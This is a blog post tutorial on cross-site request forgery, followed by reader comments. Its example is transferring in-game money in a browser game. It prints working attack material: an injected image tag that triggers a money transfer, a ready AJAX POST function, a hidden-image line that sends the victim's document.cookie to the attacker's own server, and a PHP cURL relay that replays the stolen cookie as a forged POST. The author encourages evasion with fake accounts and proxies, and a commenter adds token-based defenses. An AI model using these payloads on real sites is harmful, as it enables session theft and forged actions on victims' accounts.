Cross Site Request Forgery

Introduction
I suppose I should firstly explain what CSRF, or cross site request forgery, is. In a sense it is the opposite of cross site scripting. Instead or using the users trust in a web site CSRF uses the trust the server has in a user to create requests which usually result in user promotion or other things that only certain members can do.

Forms often use POST, especially forms like ones that, in a web based RPG, involve sending in-game money to another player. This means that you cannot use simple URLs with querystrings to send the variables. In this article I’ll talk about getting around that.

CSRF with GET forms.
With forms that use GET you should know that you can create a query which passes variables in the querystring.

Let’s use an example of sending money in an online browser based game. Let’s say that there is no filter at all anywhere in the site (for arguments sake). Let’s also say that users can send each other money and can send each other messages. One player could send another player a message as follows:
Title: Please consider me for clan “><img src=”/give_money.php?user=WhiteAcid&amount=100000″ /><input type=”hidden

Subject: [Some text]

When the recipient views the subject for the message an image is created. Obviously the URL is invalid but it would run the script, which could send me plenty of money. If the attacker was clever he could even use loops to send more money (and use spare, temporary, fake account and use a proxy server :p ).

Of course if there really were no filters you could run JS, steal the session ID and hijack it. But we’ll assume that script tags can’t be created.

In fact, if all tags were stripped you could still use the avatar space to run CSRF.

Forms like this would in fact most likely use the POST method, so we’ll talk about that next.

CSRF with POST
When forms use POST there are two ways to cause CSRF. One is to use AJAX to call the scripts. This method has the advantage that your identity stays more hidden and it deserves more kudos. The second method uses a remote server and cURL, this method is easier to use and you can usually use it when there’s limited amount of input space you can use. Both methods usually need you to be able to create JavaScript.

AJAX method
I’m not here to explain AJAX, use wikipedia for that. You can use it with JavaScript to do some pretty neat stuff. I’ll simply supply the functions you need; I think you know how to use them.

function makePOSTRequest(url, parameters)
{
http_request = false;
if (window.XMLHttpRequest)
{ // Mozilla, Safari,...
http_request = new XMLHttpRequest();
if (http_request.overrideMimeType)
{
http_request.overrideMimeType('text/xml');
}
}
else if (window.ActiveXObject)
{ // IE
try
{
http_request = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e)
{
try
{
http_request = new ActiveXObject("Microsoft.XMLHTTP");
}
catch (e) {}
}
}
if (!http_request)
{
alert('Cannot create XMLHTTP instance');
return false;
}

//http_request.onreadystatechange = alertContents;
http_request.open('POST', url, true);
http_request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http_request.setRequestHeader("Content-length", parameters.length);
http_request.setRequestHeader("Connection", "close");
http_request.send(parameters);
}

It’s as simple as that. You run that function with whatever parameters you want. Note that I commented out a line which would allow you to view the answers of the request. If you wish you could uncomment that line and create the following function:

function alertContents()
{
if (http_request.readyState == 4)
{
if (http_request.status == 200)
{
result = http_request.responseText;
//Do something with the variable result
}
else
{
alert('There was a problem with the request.');
}
}
}

You have to keep in mind that JavaScript adheres to the same-origin policy. This means that the AJAX script can only call scripts that are on the same domain as the page which you’re injecting the code unto.

The cURL method
This will require you to have a PHP file on another domain. Usually the other domain would be yours, which is why it could possibly be traced back to you.

You’d code this PHP file in such a way that you pass variables to it using GET, then it passes those variables unto another script (the action of the form you’re emulating) by POST. I’ll pretend that we’re trying to emulate the form we emulated earlier, just with POST this time. Here’s the JS you’d run:
docment.write("<img src='http://127.0.0.1/curl.php?user=WhiteAcid&amount=100000&url= http://127.0.0.1/post.php&c="+document.cookie+"' style='display: none;'/>")

As you can see that’ll create an image which also sends off the parameters we sent off last time, but instead of going straight to the forms target we’re going to our own file on our own server. Lastly it hides the image.

The PHP file curl.php (called from the JS) would contain this:

<?
function list_queries()
{
$arrquery = explode("&", $_SERVER["QUERY_STRING"]);

foreach ($arrquery as $query_value)
{
$valor = substr($query_value, strpos($query_value, "=") + 1);
$chave = substr($query_value, 0, strpos($query_value, "="));
$querystring[$chave] = $valor;
}
foreach ($querystring as $query_key => $query_value)
{
$query[] = "{$query_key}={$query_value}";
}

$query = implode("&", $query);
return $query;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']);
curl_setopt ($ch, CURLOPT_POST, 1);

curl_setopt ($ch, CURLOPT_POSTFIELDS, list_queries());
curl_setopt($ch, CURLOPT_COOKIE, $c);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$content = curl_exec ($ch);
curl_close ($ch);

echo $content;
?>

This script will loop through all the GETed variables, build one long querystring and send it off POSTed. It’ll also return the resultant HTML but that can easily be disabled by commenting out the echo line at the end and (optionally) the CURLOPT_RETURNTRANSFER line near the end. Note that it does send the $_GET[‘url’] and $_GET[‘c’] variables too, but this wouldn’t really be a problem, if it was you could unset the variable because imploding the array. It needs JavaScript in order to access the cookies which need to be sent in order to use the session of the victim.

Protecting yourself from CSRF
It’s not the easiest method to protect yourself from. My normal golden rule to never ever trust any user input cannot be applied to the attack itself as the data is perfectly valid, but of course being sufficiently strict will prevent the attack from occurring in the first place.

Preventing the user from getting into a JavaScript tag should be easy enough. If the user is allowed to open arbitrary tags you’re not being a smart developer, if the user ever enter code straight into a <script> tag then you’re just being silly. Of course the often overlooked one is when a user can enter something in a style attribute of a tag and they can close that and start an event handler (as could be done on freewebs guestbooks a while back).

Some CSRF attacks that aren’t malicious but annoying can sometimes be very hard to prevent. For instance, on a default wordpress setup, I could make a post which has an image where the source /wp-login.php?action=logout which will frustrate anyone reading the post no end. IPB (the forums) solve this by being very strict in what is allowed inside a post. It has to start with http:// and it has to be a .gif .jpg .png or .bmp. That is one valid solution.

Share
  • http://blogs.securiteam.com/index.php/archives/author/mattmurphy/ Matthew Murphy

    Very informative post. You’re off to a nice start. I’ve published a few of these vulnerabilities without knowing what to call them. I’m glad now that they have a name. :-)

  • tommy

    “In fact, if all tags were stripped you could still use the avatar space to run CSRF.”

    What do you mean with this? Can you elaborate?

    Thanks.

  • http://www.whiteacid.org Sid

    For instance, of you set your avatar equal to: give_money.php?user=WhiteAcid&amount=100000
    And if the site has no checks on the avatar, then it’s possible that whenever anyone sees your profile they end up sending you money.

  • tommy

    I guess the word avatar confused me. English is not my native language…. Does avatar mean the field of the username when creating the profile.
    Or am I missing something here?

  • http://www.whiteacid.org Sid

    It means the little image that goes by your profile name on a lot of sites.
    http://en.wikipedia.org/wiki/Avatar_%28icon%29#Avatars_on_internet_forums

  • http://www.samurainet.org/blog/ only_samurai

    In your “Protecting yourself from CSRF” section you totally fail to mention actual CSRF defense techniques. You mention defending against XSS that is used to launch these attack, but the CS in CSRF is Cross Site, meaning this attack can be waged from a foreign site, an email, or even a word document. Stripping “script tags” from your site helps secure the site, but in no way defends against CSRF.

    A common misconception is using “Referrer checking” to block off site requests. Both your PHP and JavaScript methods can be modified to send a valid referrer. Another defense mechanism that is useless is “secret cookies” since the browser will still send them when the request is made. “Secret keys” or “key pairs” are probably the most useful way to mitigate your CSRF request.

    These keys are generated by PHP, Perl, ASP, or any other server-side script and placed in 2 locations: the session and on the page. In the example of the logout CSRF vulnerability, the URL would be modified to:
    page.php?action=logout&key=somekey
    Generally somekey is a md5 hash of some secret, ever changing value. Somekey is also placed in the session, in PHP the example is:
    $_SESSOION['key'] = “somekey”;

    When a request is made to page.php a check of $_GET['key'] and $_SESSION['key'] is made to check validity of the request.

    This method can be bypassed, but it is a significant improvement over referrer checking, secret cookies, and your stripping XSS.